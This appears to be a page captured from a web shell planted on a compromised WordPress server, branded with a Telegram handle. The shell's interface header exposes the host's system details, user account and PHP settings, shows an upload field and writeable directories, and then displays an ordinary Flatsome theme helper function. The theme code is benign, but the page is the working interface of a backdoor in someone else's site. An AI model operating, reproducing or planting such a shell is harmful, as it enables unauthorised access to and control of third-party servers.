https://t.me/ARX49
Server : LiteSpeed
System : Linux server321.web-hosting.com 4.18.0-513.18.1.lve.el8.x86_64 #1 SMP Thu Feb 22 12:55:50 UTC 2024 x86_64
User : apotdzgr ( 7060)
PHP Version : 8.0.30
Disable Function : NONE
Directory :  /home/apotdzgr/public_html/wp-content/themes/flatsome/inc/builder/core/server/helpers/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Current File : /home/apotdzgr/public_html/wp-content/themes/flatsome/inc/builder/core/server/helpers/helpers.php
<?php

/**
 * Get enqueued assets that is dependant on gridsome.
 */
function ux_builder_deps( $all, $handler, $only_handle = true ) {
  $deps = array();

  foreach ( $all->queue as $key => $handle ) {
    $is_registered = array_key_exists( $handle, $all->registered );
    $is_string     = is_string( $all->registered[ $handle ]->src );
    $is_dep        = in_array( $handler, $all->registered[ $handle ]->deps, true );
    if ( $is_registered && $is_string && $is_dep ) {
      if ( $only_handle ) array_push( $deps, $handle );
      else array_push( $deps, $all->registered[ $handle ]->src );
    }
  }

  return $deps;
}

https://t.me/ARX49 - 2025